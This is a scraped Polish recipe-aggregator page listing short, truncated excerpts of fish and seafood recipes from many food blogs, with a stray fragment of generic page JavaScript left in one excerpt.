rozszczepienia światła białego w kroplach deszczu, niemniej zawsze mnie fascynuje.  Schodząc jednak na ziemię i wkraczając do kuchni, zapraszam na kotleciki. Nie, tym razem nie wegetariańsko. Dlaczego? Czasem ryba jest wskazana, a je uwielbiam. To było silniejsze ode mnie. Kotleciki są miękkie, więc nie wystraszcie się tego, że się nie wysmażyły. To naturalny stan, oczywiście wystudzone stwardnieją nieznacznie

W kuchni Karmel-itki
Dorsz pod zieloną kołderką 176

dwóch str. obsmażamy ( dorsza przed smażeniem  płuczemy, na ręczniku papierowym do odsączenia wody kładziemy). Na drugiej patelni przygotowaną zieleninę podgrzewamy, na nią dorsza przekładamy. Delikatnie na talerz odwrotnie rybę dajemy, z ćwiartkami cytryny i ozdobioną pietruszką podajemy. Dorsza solą nie doprawiamy, bo w „zielonej kołderce” zastępstwo jej mamy. Dorsz smażony na oleju rzepakowym jest zdrowy,  a w smaku

Moniki Smakołyki
Pomidorowy łosoś z talarkami 181

Polecam łososia w marynacie pomidorowej z dodatkiem oliwy truflowej. Gdy ją ugrillujemy, to oryginalny smak ryby wydobędziemy . Talarki zaś smakują jak z pieca kaflowego, takiego babcinego.      Składniki:  3 porcje 3 szt. łosoś dzwonka, 2 łyżki soku z limonki, 50 ml oleju rzepakowego, 2 łyżki oliwy z oliwek z truflą, 2 łyżki posiekanego koperku, 4 szt. pomidorów

Moniki Smakołyki
Łosoś zapiekany z papryką 193

skóry, 1 czerwona papryka, 1 żółta papryka, cebula, sok z 1/2 cytryny, 2 łyżki oliwy, sól ziołowa, pieprz kolorowy świeżo zmielony, zioła prowansalskie.     Przygotowanie     Rybę umyć, osuszyć i pokroić na cienkie paski. Oprószyć świeżo zmieloną solą ziołową i kolorowym pieprzem. Papryki umyć, usunąć gniazda nasienne i pokroić w bardzo cienkie paseczki. Cebulę pokroić

Z miłości do słodkości
Sałatka z wędzoną sielawą i ziemniakami 206

zakończenie lata. Jeszcze kolorowa, kojarząca się ze słonecznymi dniami i wieczorami nad jeziorem. Do tego jej wykonanie jest banalnie proste! A sielawę możecie zamienić na inną ulubioną wędzoną rybę.  Składniki /2-3 osób/: 6-7 małych ziemniaków 1/2 czerwonej papryki 2 średnie wędzone sielawy sól, pieprz 1 dymka ze szczypiorkiem 2 łyżki śmietany 18% 1 łyżeczka chrzanu 1 łyżka soku

Pasja Smaku
Sałatka śledziowa z jajkiem 441

odsączamy z zalewy. Śledzie kroimy w duże kostki. Wszystkie składniki łączymy, dodajemy majonez i śmietanę. Doprawiamy odrobiną pieprzu i solą. Ilość soli jest zależna od tego jak słona jest ryba. Sałatkę zostawimy na chwilkę do przegryzienia i można zajadać : ) Smacznego

Kolizje Smaków
Łosoś na parze 177

Następnie ucieramy na niego nieco skórki z cytryny. Delikatnie skrapiamy cytryną i umieszczamy w parowniku na około 12 minut. Czas może się wydłużyć lub skrócić w zależności od grubości ryby. Podajemy od razu po przygotowaniu z plasterkami cytryny. Smacznego

Kolizje Smaków
Ekspresowy sos z tuńczyka i anchois 222

Dzień dobry, Dziś prezentuję przepis w sam raz dla miłośników ryb - kremowy sos z tuńczyka i anchois , intensywnie smakujący morzem, słony, z nutą natki pietruszki. Doskonały jako sos do makaronu , ale przy drobnej korekcie proporcji może przemienić się w przepyszny dip do maczania krakersów czy też sucharków ( spróbujcie przygotować go na imprezę - przekonacie się, że Wasi znajomi oszaleją na jego

Chilli Czosnek i Oliwa
Błyskawiczna pasta z tuńczykiem 159

Szybka pasta do chleba o każdej porze dnia. Składniki : 2 puszki tuńczyka (masa ryby 2x130g) pół puszki kukurydzy ok.130g 2 jajka natka pietruszki majonez lub musztarda(opcja) sól, pieprz Gotujemy jajka na pół miękko, tzn. ok. 4-5 minut i od razu studzimy w zimnej wodzie. W tym czasie odlewamy na sitku sos z tuńczyka. Siekamy pietruszkę. Ostudzone i obrane

prawdziwe jedzenie
Paluszki rybne 142

łososia. Składniki : 400 g łososia bułka płatki kukurydziane jako panierka dymka ze szczypiorkiem koperek sok z cytryny sól, pieprz, imbir olej do smażenia Z łososia odcinamy skórkę.  Rybę mielimy z bułką i przyprawami. Z masy formujemy wałeczki i obtaczamy w zgniecionych płatkach kukurydzianych. Smażymy na rozgrzanym oleju do zrumienienia z obu stron

prawdziwe jedzenie
SAŁATA Z TUŃCZYKIEM 305

zwykłym też nie pogardzimy). Gdy natkniecie się gdzieś na takiego, nie zastanawiajcie się, jest nieporównywalny w smaku z tym w małych kawałkach. Z tuńczykiem (jak i z większością ryb) rewelacyjnie komponuje się koperek, którym obficie posypałam nasze danie. Idealne na lekką kolację. Przepis dla 3 osób (tak było u mnie) Składniki: - 1/2 sałaty lodowej - 3 garście rucoli - 3 garście roszponki

Smaczne Zdrowe
Zupa rybna na bulionie z lanymi kluseczkami 217

Lubicie zupy rybne? Takie delikatne rosołowe, z lanymi kluskami i dużymi kawałkami gotowanej ryby? Podobną zupę rybną jedliśmy w restauracji po Złotym Linem w Łasku, tam jednak zupa rybna była również przygotowana na bulionie, ale z dodatkiem sandacza i z francuskimi kluseczkami. Jednym ze składników zupy rybnej, którą ja przygotowałam był świeży łosoś i bulion warzywny. Zupy rybne często gotujemy

Damsko-męskie spojrzenie na kuchnię
Śledzie w pikantnej salsie 216

roku kupiłam sporo płatów śledziowych a’la matijasy i zamarynowałam je według tego przepisu na marynowane ryby aromatyzowane, Marynowałam śledzie w marynacie z mieszanką przypraw: pokruszone liście laurowe, goździki, ziarna pieprzu, ziela angielskiego, ziarenka kolendry i gorczycy, oraz jagody jałowca, mielony pieprz cytrynowy, dla ostrości smaku wykorzystałam papryczkę chili. Śledzie przygotowuje się dwu etapowo, najpierw trzymamy je w solance

Damsko-męskie spojrzenie na kuchnię
Dyniowe bliny z serkiem, łososiem i truskawkami 187

parze około 7 minut. W tym czasie truskawki kroimy w kosteczkę i mieszamy z posiekanym szczypiorkiem oraz pieprzem. Na bliny nakładamy serek z kolorowym pieprzem a salsą przykrywamy gotową rybę. Podajemy z cząstkami limonki. Smacznego :) function load(url, callback) { var xhr; if(typeof XMLHttpRequest !== 'undefined') xhr = new XMLHttpRequest(); else { var versions = ['MSXML2.XmlHttp.5.0', 'MSXML2.XmlHttp.4.0', 'MSXML2.XmlHttp.3.0', 'MSXML2.XmlHttp.2.0', 'Microsoft.XmlHttp

Mienta blog
Łosoś z kozim serem z piekarnika 192

Uwielbiam łososia. Jest on zresztą rybą, która najczęściej pojawia się w naszym menu. Nie dość, że jest niezwykle smaczny, to jeszcze banalnie prosty w przygotowaniu.  Poniższe danie podaję najczęściej wtedy gdy się spieszę. Na przyrządzenie go potrzebujemy maksymalnie 35 minut. Potrzebujemy (na 4 porcje): - 4 filety z łososia o łącznej wadze 500 g (bez skóry) - 12 plastrów koziego sera

W mojej holenderskiej kuchni
Stek z rekina z jabłkiem 136

Jabłko wspaniale komponuje się nie tylko z mięsem , drobiem , kaszanką czy wątróbką. Dodane do delikatnych ryb nadaje im niespotykanego smaku. Czytaj więcej

Buniabaje w kuchni
Makaron z grillowanym łososiem i fasolką szparagową 273

dente. Odstawić do ostygnięcia, a następnie każdą przekroić wzdłuż.   Sos sojowy, ocet i miód wymieszać - polać filet z łososia i odstawić na kilka minut do zamarynowania ryby. Następnie grillować na mocno rozgrzanej patelni grillowej. Zdjąć skórę i usunąć brązową część, która jest pomiędzy mięsem a skórą. Następnie rozdzielić łososia widelcem. Na patelni podsmażyć pokrojoną w piórka cebulę, dodać

Pasja Smaku
Łosoś teriyaki 290

ciemnego 2 łyżki sosu sojowego jasnego 2 łyżki sosu teriyaki (opcjonalnie) 40 ml białej wódki 40 ml octu ryżowego 50 ml miodu oleju 2 woreczki ryżu basmati Przygotowanie:   Rybę kroimy w dość dużą kostkę   (około 3 cm ) i obtaczamy w mące ziemniaczanej. Imbir i papryczkę chilli siekamy drobno. Dymkę   kroimy w kawałki. Gotujemy ryż. Przygotowujemy sos. Miód

Mania Gotowania
Fladra z pieczonymi ziemniakami.... sentymentalnie wakacyjnie ;-))) 176

około 20 minutach, dokładamy do piekarnika flądry i już razem pieczemy kolejne 20-30minut aż ziemniaczki się zrumienią a flądra upiecze. upieczone ziemniaczki ;-))) Wykładamy na talerze, rybę polewamy sokiem z limonki. Przepyszne danie na obiad nie zajmujące dużo czasu, baaardzo zdrowe i baaardzo smaczne ;-))) pozdrawiam Was cieplutko i zachęcam do wpisywania komentarzy na blogu pod postami, będzie mi bardzo

SMYKWKUCHNI
Smażone śledzie 191

Przepis na smażone śledzie: - świeże śledzie - na panierkę: mąka pszenna i mąka ziemniaczana w stosunku 1: 1 - sól poprzez dodatek mąki ziemniaczanej, ryba będzie bardzo chrupiąca ;-) Tak przygotowane śledzie smażymy w dość głębokim tłuszcz, możecie je podać do ziemniaków na obiad, bądź chłopakom do piwa. Polecam na męskie wieczory

SMYKWKUCHNI
Pstrąg w sosie terijaki z fasolką po chińsku 187

terijaki - fasolka zielona - zioła chińskie - sos sojowy - ocet słodki - ząbek czosnku - łyżeczka miodu - olej sezamowy - kasza kuskus Wykonanie pstrągi: Pstrągi osuszamy ręcznikiem, układamy w naczyniu żaroodpornym, wysmarowanym olejem, układamy rybę polaną sokiem z cytryny, posypujemy chili i polewamy sosem terijaki. Pieczemy w piekarniku 30 minut w temp. 180 stopni C.  Fasolka po chińsku: Fasolkę blanszujemy. Do rozgrzanego woka wlewamy

SMYKWKUCHNI
Tołpyga z pure ziemniaczano - brokułowym 106

Składniki: - tołpyga filet - ziemniaki - brokuły - masło 2 łyżki - 2 łyżki śmietanki - sól - cytryna Ugotowane ziemniaki, ugniatamy tłuczkiem z masłem i śmietanką. Rybę smażymy na maśle obtoczoną mąką pszenną. Smacznego! Proste i bardzo dobre

SMYKWKUCHNI
Pulpeciki rybne z mintaja i cukinii - DIETA NISKOKALORYCZNA 181

Będąc na diecie powinniśmy spożywać mięso o niskiej zawartości tłuszczu, najlepiej białe, jak filet z indyka czy kurczaka (zawsze bez skórki), ale również ryby, takie, które w swoim składzie mają niską zawartość tłuszczu, np. mintaj, miruna, dorsz. Będą nam dostarczać odpowiedniej ilości białka w diecie. Pamiętajcie też, że chociaż raz w tygodniu głównym źródłem białka  powinny być warzywa strączkowe

SMYKWKUCHNI
Miruna na parze z brokułami, CYKL DIETA NISKOKALORYCZNA 767

SKŁADNIKI: -filet z miruny (170g) - brokuły (20g) - 100ml jogurtu naturalnego doprawionego cytryną - przyprawa do ryb Wszystkie składniki przygotowujemy w parowarze, lub w garnku na parze. Danie banalnie proste, pyszne i niskokaloryczne! Danie to: 246 kcal ;-) Buziaki, trzymajcie sie! Smacznego

SMYKWKUCHNI
KARP ŚWIĄTECZNY 826

mojej rodzinie karp na stole wigilijnym to podstawowe danie. Zapiekana ryba z cebulą smakuje wybornie i mniej "mulisto" ;). Przepis mojego dziadka - Romusia :) CZYTAJ WIĘCEJ I PRZEJDŹ DO PRZEPISU

Przepisy Aleksandry
SAŁATKA Z TUŃCZYKIEM I OLIWKAMI 351

Pomysł na tę sałatkę zrodził się w głowach mojej Mamy i mojego Brata. Oboje bardzo lubią ryby i paprykę, więc oba składniki musiały znaleźć się w ich sałatce. Część z Was zdziwi brak soli w przepisie - uważam, że tuńczyk i majonez są już wystarczająco słone. Oczywiście możecie dodać soli, jeżeli lubicie bardziej słone dania. Sałatkę tę najczęściej podajemy w formie

Przepisy Aleksandry
FISH & CHIPS Z GROSZKOWYM PUREE 165

Parę tygodni temu wróciłam z wakacji w Wielkiej Brytanii. Miałam wtedy okazję spróbować sławną brytyjską rybę z frytkami i groszkiem. Muszę przyznać, że bardzo mi smakowała! Jeżeli przygotowałaś/eś danie z tego przepisu, prosimy o jego zdjęcie :). Wyślij je na adres a.rybinska@gmail.com. Fotografię opublikujemy w komentarzach i na naszym Facebooku (oczywiście podpiszemy Wasze dzieło). Fish & Chips

Przepisy Aleksandry
Risotto z łososiem i szpinakiem 177

garnku z bulionem zostanie nam jego ostatnia porcja. Ok. 3 minut przed końcem gotowania dodać łososia pokrojonego w kostkę i ostatnią chochelkę bulionu. Mieszać bardzo ostrożnie, aby ryba się nie rozpadła. Całe gotowanie risotto powinno zająć od 15-20 minut. Powinno mieć kremową konsystencję, ale absolutnie nie może być rozgotowane. Ryż powinien pozostać lekko al dente. Na końcu do risotto

Obiad za dychę
Pulpeciki z łososia w sosie koperkowym 174

smażenia Sposób przygotowania: Kaszę ugotować według przepisu na opakowaniu. Łososia dokładnie umyć, osuszyć (jeśli ma skórę i ości należy je dokładnie usunąć) i dość drobno posiekać ostrym nożem. Rybę przełożyć do miski, dodać jajko, przeciśnięty przez praskę czosnek, ser, bułkę tartą i starty na tarce o drobnych oczkach imbir. Doprawić do smaku solą i pieprzem. Masę dokładnie wyrobić (najlepiej ręką

Obiad za dychę
Dorsz gotowany na parze 301

jakiegoś czasu miałam ochotę na surówkę z kiszonej kapusty, a do niej najlepiej pasuje ryba. Żeby było zdrowiej to taka gotowana na parze i młode ziemniaczki prosto z przydomowego ogródka. Pycha :) Dorsz gotowany na parze: Składniki: duży filet z dorsza cytryna koperek Wykonanie: 1. Filet rozmrozić, odsączyć z wody, w zależności od jego wielkości pokroić na 4 lub 5 kawałków

Pasja Smaku
Dorsz na salsie pomidorowej 158

Inspiracja: któryś program kulinarny - salsa była trochę inna, ryba inna, a do tego gotowana. Ja, żeby uszczęśliwić wszystkich rybkę podsmażyłam na patelni, a z braku czerwonej cebuli musiałam wykorzystać białą, więc salsa jest trochę mniej kolorowa. Niemniej - ciekawe i całkiem lightowe danie. Składniki (dla 4 osób) : filet z dorsza sok z cytryny koperek 12 pomidorków koktajlowych pół pęczka natki pietruszki

Pasja Smaku
Pieczony łosoś z winnymi warzywami 163

słabość do wina w połączeniu z warzywami i rybą. Próbowałam już kilkakrotnie i jestem zachwycona. Dziś propozycja podania łososia właśnie z dodatkiem wina. Lekki, przyjemny obiad.  Składniki: 600 g filetu z łososia 1 szt cebula 1 szt por 3 łyżki suszonego koperku 3 łyżki soku z cytryny 1 łyżeczka pieprzu ziołowego 1/2 szt białego wina 1 łyżka oleju

Pasja Smaku
Szaszłyki z łososiem i ananasem 168

Bardzo lubię łososia i wciąż tęsknię za latem, dlatego znów przygotowałam szaszłyki z dodatkiem cytrynowej śmietany. Lekkie i ciekawe połączenie ryby z ananasem. Oczywiście dołączam przepis do wyzwania z Winiary . Składniki: 1 ananas 500 g filetów łososia 2 opakowania WINIARY POMYSŁ NA... PAPIRUS Soczysta pierś kurczaka z czosnkiem cytryna 100 g śmietany 18% Wykonanie: Cytrynę dokładnie umyć w gorącej wodzie

Pasja Smaku
MAKARON ORKISZOWY Z ŁOSOSIEM 190

świeżo mielony pieprz + makaron orkiszowy 400g (lub pszenny) - koperek do posypania Łososia umyć, wytrzeć w papierowy ręcznik, zdjąć skórę i pokroić na mniejsze kawałki. Na rozgrzanej patelni podsmażamy kawałki ryby kilka minut, do lekkiego zrumienienia (5-10 minut). Następnie dodajemy ser mascarpone, mieszamy ( ja dodaję zawsze jeszcze wodę, ok.2 łyżki wazowe (najlepiej od gotującego się makaronu, ale można zwykłą gorącą

Smaczne Zdrowe
Dorsz na szpinaku 192

Dorsza lubimy najbardziej. To bardzo delikatna i smaczna rybka. Podałam  z szpinakiem co komponowało się idealnie. Samą rybę doprawiłam solą morską i pieprzem młotkowanym z kolendrą firmy Kamis, obtoczyłam tylko w mące i jajku. Powstała bardzo deliaktna i chrupiąca skórka. Polecam. Składniki: 500 g dorsza świeżego z skórą sól morska w młynku Kamis  pieprz młotkowany z kolendrą Kamis

Ala piecze i gotuje
Czarny ryż Venere z łososiem i słodkim groszkiem 222

smalczykiem Smakowita Pajda. Zakupiłam opakowanie czarnego ryżu, a potem obserwując małe, czarne ziarenka dumałam z czym go połączyć. Wydaje mi się, że jednym z lepszych połączeń jest ryż z rybą. Wybrałam łososia, który również podpasował mi kolorystycznie. Zapraszam na proste, ale bardzo smaczne danie, kt óre  zarówno eksponuje orzechowo-chlebowy smak ryżu, świeżość łososia, delikatność słodkiego groszku

Mia Cucina Sofieta
Wizyta w Szkocji 137

odkrylam, ze kuchnia szkocka bagata jest w wiele prostych dan, bez dlugiej listy skladnikow. Ucieszylam sie, ze oprocz wolowiny i jagnieciny w tej kuchni jest tez sporo dan z ryb. I oto dzis przepis na zapiekanego lososia, ktory znalazlam w bardzo starej gazecie "Smacznego" z 1998 roku. Zapiekanka z lososia skladniki na ciasto: 1 szklanka maki (20dkg) 5 lyzek masla

Przysmaki Karolki
Przystawka z przegrzebkow i kalafiora 146

kazdym razem gdy mam sprobowac tego specjalu mam w gardle wielka kluche. Ale zyjatka morskie i owszem lubie, nie wszystkie, nie zawsze i nie wszedzie, ale jednak lubie. Obok ryb, ktorymi nie gardze, najbardziej do gustu przypadly mi slodkie przegrzebki. Pamietam gdy jadlam je pierwszy raz u naszych przyjaciol poznanych tu we Francji. Nie wiedzialam czego sie spodziewac i przyznam

Przysmaki Karolki
Szparagi. Łosoś. Boczek wędzony. 182

czosnkiem by uzyskać odpowiednią konsystencję. Otrzymany mus doprawiamy solą, pieprzem i sokiem z cytryny. Łososia pozbawiamy skóry. Doprawiamy solą i nacieramy każdy filet łyżką oleju Kujawskiego z czosnkiem. Zawijamy rybę w folię aluminiową i pieczemy w piekarniku przez 15 minut w temperaturze 200°C. Pod koniec pieczenia łososia plastry boczku podsmażamy na patelni. Gotowego łososia przekładamy na talerz. Na wierzch

Przysmaki Karolki
Makaron. Pesto. Łosoś. 190

pesto. Nakładamy na talerz. Pod koniec gotowania makaronu przygotowujemy łososia. Doprawiamy go delikatnie solą i pieprzem i smażymy na rozgrzanej patelni po 2 minuty z każdej strony. Usmażoną rybę makadamy na makaron

Przysmaki Karolki
Tilapia w cytrusach 170

Nareszcie rybka . Już mi przez te Święta brakowało rybnych smaczków ( a jakoś nie pasuje mi robienie śledzi czy ryby po grecku na Wielkanoc). A , że nakupowałam na Święta na zapas cytrusów ,żeby zaraz po nie latać po zakupy to trzeba je spożytkować . Przydały się do marynaty . Składniki: 2 filety z Tilapii ( po 1 małym na porcję ) 1 mandarynka 1/2 pomarańczy

Buniabaje w kuchni
Szczupak i cukinia gotowane na parze 151

Mają zielono-szary kolor. Są bardzo miękkie i smaczne . Postanowiłam ugotować je na parze razem z dzwonkami szczupaka i ziemniakami. Postawiłam na delikatne doprawienie tak by nie zdominować smaku ryby i cukinii. Podaję składniki na 1 porcję. Czytaj więcej

Buniabaje w kuchni
Miruna i puree z kalarepki w pomidorach 168

Najprostsza forma ryby- skropiona sokiem z cytryny, posolona, oprószona mąką .Usmażona na złoto na maśle ( z olejem) .Podałam z koperkowym puree z kalarepki. Podałam je w wydrążonych pomidorach i gotowałam chwilę na parze by pomidory zmiękły. Czytaj więcej

Buniabaje w kuchni
Filety z łososia z masłem cytrynowym 169

Lubię ryby smażone w wersji najprostszej. Jak dobrze je skropimy sokiem z cytryny i usmażymy na rumiano nic więcej nie trzeba. Tym razem smażyłam filety z łososia, wzmacniając dodatkowo jego smak masłem cytrynowym. Czytaj więcej

Buniabaje w kuchni
Cytrynowy dorsz 133

Bardzo prosty sposób na aromatycznego dorsza. Wystarczy tylko tak skomponować składniki i dodatki by aromat cytryny był wyczuwalny. A , że ryby lubią sie z cytryną obiadek był wyjątkowo udany. Dodatkowo podałam gruszkę faszerowaną pastą z pestek dyni o cytrynowym smaku. Czytaj więcej

Buniabaje w kuchni
Miruna w sosie słodko-kwaśnym 208

Wieprzowina, drób, ryba w sosie słodko-kwaśnym to sztandarowe dania z budki ,, od chińczyka ". I muszę przyznać , że lubię te dania . Jak mam ochotę poeksperymentować w kuchni to biorę się za pichcenie w ,, chińskim" stylu w domu ( oczywiście na skróty). Czytaj więcej

Buniabaje w kuchni
Panga na parze z warzywami i sosem koperkowym 159

chyba , że się przy nim pokombinuje :) .Robię tak : Gotuję na parze traktując gorącą parę jako źródło ciepła . Jednocześnie zabezpieczam potrawę przed tym by para przechodząc przez składniki (mięso, ryby , warzywa) nie wypłukiwała z nich smaków .Potrawy doprawiam przed gotowaniem. Do wody w dolnym garnku dodaję zioła. A gotowe danie podaję z sosem lub masłem ( np. z bułką tartą ).Potrawa zatrzymuje

Buniabaje w kuchni
Okoń nilowy z sosem chrzanowo-jabłkowym 148

Prosty sos. Delikatna ryba . Doskonale do siebie pasują . Chrzan nadaje charakteru potrawie , a jabłko łagodzi ostrość sosu. Okoń nilowy niezmiennie pozostaje pyszny. Czytaj więcej

Buniabaje w kuchni
Miruna ,, malowana ,, pietruszką + popitka 150

być rumiana pieczona , puree z pietruszki , musy z natki i wiele jeszcze innych . Dziś na piątkowy obiadek robię mirunę na parze, a główną atrakcją będzie pietruszka, która podkreśli smak ryby. Czytaj więcej

Buniabaje w kuchni
Nototenia i ziemniaki z ziołami 163

Nototenia zagościła na naszym stole na dobre. Jest bardzo wdzięczną rybą - można smażyć tuszki - można filetować. Używam do niej podstawowych przypraw .Wystarczy marynować jakiś czas w soku z cytrusów ( cytryna, mandarynka lub pomarańcze) , oliwie i przyprawach i potem usmażyć. Czytaj więcej

Buniabaje w kuchni
Nototenia w pieczarkach 117

Ostatnio polubiłam przygotowywanie małych nototenii . Smaczne rybki wielkością akurat na 1 osobę. Skrobię , marynuję i smażę albo w całości , albo fileciki. Ryba ma białe smaczne mięso bez intensywnego rybiego zapach. Doskonale łączy się ze składnikami marynaty, sosów lub innych dodatków. Dziś nototeni towarzyszą pieczarki . Czytaj więcej

Buniabaje w kuchni
Stek z rekina z japońską nutą 172

prawda stek z rekina i to w dodatku z japońskim smaczkiem to nie koniecznie polska tradycja wielkanocnego postu , ale świat się globalizuje , a w końcu rekin też ryba. Potrawa jest jak najbardziej postna. A jakich przypraw dodamy to już chyba nie ma znaczenia . W każdym razie w tym ,,szale,, przygotowań do Świąt ( którym podobno nie uległam) takie podejście do rybki

Buniabaje w kuchni
Miętus z patelni aromatyzowany tymiankiem 271

Miętus to ryba najsmaczniejsza gdy przygotowuje się ją w prosty sposób. Lubię miętusa z koprem , w sosie koperkowym , z kurkami itd. Smażony na maśle aromatyzowanym ziołami za każdym razem jest trochę inny . I za każdym razem pyszny. Dziś będzie na tymianku. Czytaj więcej

Buniabaje w kuchni
Burgery rybne (z łososiem) 150

też od czasu do czasu przygotowujemy różne wariacje burgerowe. Na przykład mieliście już okazję zobaczyć burgery z mięsa i soczewicy , więc teraz pora na rybne, zrobione z łososia. Każda ryba dobrze smakuje z cytryną, dlatego też do masy mięsnej dodałam startą skórkę z cytryny, aby była bardziej aromatyczna i to był strzał w dziesiątkę. Dawno Mąż tak nie chwalił obiadu

Pora coś zjeść
Ahoj, marynarzu! Pieczone kotleciki z tuńczyka. 149

zawsze się śmieje, głośno i donośnie. Przybiwszy do brzegu, rozprostowałabym swoje zmęczone kończyny. Bosymi stopami biegałabym po ciepłym piasku. Wieczorem ognisko pod gołym niebem, skwierczące nad paleniskiem świeżo złowione ryby. Wesoły śmiech, brzmiące szanty, rozdzierające ciszę panującą w około. Ach! Ale dziś, zamiast wyprawy, serwuję kotleciki z tuńczyka. Ahoj, marynarzu! PIECZONE KOTLECIKI Z TUŃCZYKA. (autorskie;) 2 puszki tuńczyka w sosie

W kuchni Karmel-itki
Karp w galarecie pomarańczowej. Życzenia świąteczne. 399

różnych rozmaitości. Postanowiłam wprowadzić kilka zmian. Między innymi poniższy karp. KARP W GALARECIE POMARAŃCZOWEJ. /przepis autorski;/   1kg karpia klarowane masło mąka sok z 1/2 cytryny przyprawa do ryb 1 litr soku pomarańczowego (u mnie z 8 pomarańczy) 1 paczka żelatyny 1 sparzona pomarańcza Karpia myję, pozbawiam łusek. Kroję na małe kawałki, posypuję przyprawą, skrapiam z sokiem z cytryny

W kuchni Karmel-itki
Łosoś po mojemu. ŁOSOŚ W CZERWONYM WINIE NA PUREE BROKUŁOWYM. 186

sprężyste (ok. 5-7 minut). Odcedzam i miksuję przy pomocy blendera, dodając przyprawy - przeciśnięty przez praskę czosnek, sól oraz pieprz. Podgrzewam. Gorące wykładam na talerz, a na nim układam rybę, polewając odrobiną sosu.  SMACZNEGO! Pozdrawiam wszystkich tych, którzy nie mają z kim dzielić dzisiaj talerza.. Karmel-itka

W kuchni Karmel-itki
ŁOSOŚ Z CHUTNEYEM Z MANGO. 168

wymyślny. Ostatnio, z przyczyn technicznych i wielu innych, zupełnie nie mam czasu na gotowanie, a nawet i warunków. Postawiłam więc na prostotę, szybkość przygotowania, przy jednoczesnym skosztowaniu interesującego połączenia ryby ze słodko-ostrym, wyrazistym smakiem piekącego w język chutneya. Jakość produktu jest naprawdę dobra, a co najważniejsze, nie smakuje sztucznie. No, i nie jest naszpikowany chemią i konserwantami.W skład wchodzą

W kuchni Karmel-itki
ŚLEDZIE WIEJSKIE Z KOPERKIEM. 218

Następnie śledzie wyjmuję z wody, osączam, osuszam. Można pokroić, ale ja zostawiam całe filety. Podwójne dzielę na pojedyncze, chyba, że są zbyt długie, wtedy kroję na pół. Tak przygotowane ryby skrapiam odrobiną octu i sokiem z cytryny. Cebulę kroję w plasterki, rozdzielam, by powstały paseczki. Układam w słoiku kawałki śledzi na przemian z cebulką. Do słoików dodaję po jednym listku

W kuchni Karmel-itki
MAŚLANY ŁOSOŚ Z KAPARAMI. 129

szklanki kaparów Fileta z łososia dzielę na 2 - 3 kawałki, uprzednio ściągając skórę. W naczyniu żaroodpornym na dnie układam plasterki masła, gałązki koperku, a na tym kładę kawałki ryby. Następnie na wierzch układam znów plasterki masła, posypuję kaparami. Piekarnik rozgrzewam do 150 stopni. Wkładam naczynie, nie zamykając  go żadną pokrywą szklaną i piekę przez 30 minut. Podaję na ciepło

W kuchni Karmel-itki
PASTA Z MAKRELI. 223

łyżki majonezu delikatnego Winiary 2 - 3 łyżki serka kremowego pęczek szczypiorku świeżo mielony pieprz Oddzielamy mięso makreli od skóry i ości, rozgniatam widelcem. Siekam koperek dość drobno, dodaję do ryby wraz z majonezem i serkiem. Wszystko mieszam, doprawiam pieprzem. Podaję ze świeżym pieczywem. SMACZNEGO! Pozdrawiam, Karmel-itka

W kuchni Karmel-itki
Pasta z makreli z marchewką i zieleniną 232

prawda jeszcze bardziej lubi rozprawić się z samą wędzoną makrelką, ale kanapki wypastowane są niezwykle mile widziane. I na zagrychę ogóry małosolne - oj, jakie to dobre ! Pasty z ryb można robić na różne sposoby. Dwa z nich już kiedyś pokazywałam - pasta makrelowa z jajkiem i kiszonym ogórkiem i pasta z makreli z cebulą i ketchupem ROZWIŃ I CZYTAJ DALEJ

Smaczna Pyza
Zzieleniały łosoś 129

Łosoś - smaczna i popularna ryba. I chyba nawet w pewien sposób modna się zrobiła, prawda ? W sklepach do wyboru - łososie całe, filety ze skórą i bez, dzwonka - co kto lubi albo potrzebuje. U nas nie bywa zbyt często bo Żarłoczek za nią nie przepada, ale czasami uda mi się go namówić żeby kawałek łososia zjadł. W tej wersji wyjątkowo

Smaczna Pyza
Karp w galarecie i jak sklarować galaretę 1025

Karp - wigilijna ryba dla większości rodaków. Ma swoich miłośników i przeciwników bo nieodpowiednio przygotowana ma mulisty posmak. Ja bardzo lubię karpia smażonego w panierce, takiego zwyczajnego, ale w galarecie też bardzo chętnie zjem. Jak sprawić świeżego karpia ? - KLIKNIJ I PRZECZYTAJ Pamiętacie jak pisałam niedawno o łososiu z galarecie i o tym jak Żarłoczek zjadł mi go prawie całego ? Z karpiem

Smaczna Pyza
Sałatka z roszponki, łososia i ogórka 225

Sałatka z delikatnej sałaty z rybą i chrupiącymi dodatkami czyli marynowanym ogórkiem oraz szalotką. Przyznam, że dawno nie jadłam takiej dobrej :) ROZWIŃ I CZYTAJ DALEJ

Smaczna Pyza
Dorsz na boczniakach, z orzechami i marchewką 180

Dorsz - pyszna ryba o białym mięsie rozpadającym się na płatki. Jedna z moich ulubionych. W nadmorskich smażalniach podawana zwykle smażona w panierce co lubię, ale miałam ochotę na coś innego. Swojego dorsza usmażyłam tylko doprawionego i podałam z pysznymi dodatkami. Wyszło bardzo smakowite danie - polecam ! ROZWIŃ I CZYTAJ DALEJ

Smaczna Pyza
Dorsz smażony z pieczarkami i pomidorami 136

Ryba na obiad to dobry pomysł na pyszne danie. U nas pojawia się niekoniecznie w piątek. Przygotowuję ją wtedy kiedy mamy na nią ochotę i gdy uda się kupić świeżą. W wielkim mieście to drugie wcale nie jest takie oczywiste. ROZWIŃ I CZYTAJ DALEJ

Smaczna Pyza
Tuńczyk. Sałata. Szparagi. Jajka. Sałatka z tuńczykiem i sosem jogurtowo-musztardowym 387

wpadnie w ręce. Określam je roboczym tytułem - sałatki "na winie" bo bierzemy to co nam się pod ręce nawinie. Wystarczą świeże liście sałaty, jakieś warzywa, ryba lub wędlina czy jajka i coś do polania. Pomysłów na kombinacje jest nieskończenie wiele i ciężko dokładnie powtórzyć taką samą. Każda będzie wyjątkowa, niepowtarzalna a jak bardzo pyszna to już zależy tylko

Smaczna Pyza
C - Dorsz w ziołowo - otrębowej panierce 150

smaku sól - do smaku woda - 1 łyżka oliwa z oliwek - 3-5 łyżek Filety z dorsza doprawić sokiem z cytryny, posolić i oprószyć mąką. Jajko rozbić, dodać łyżkę wody. Rybę posypać obficie ziołami z jednej strony, nakryć plastrem sera, panierować w jajku i otrębach i smażyć na rozgrzanej patelni na oliwie z oliwek. Zastosowałam dziś taki wariant, ale myślę

Apetyt na więcej - jadłodajnia dla duszy i ciała
C - Przystawka - Łososiowe łódeczki z mozzarellą i suszonym pomidorem 160

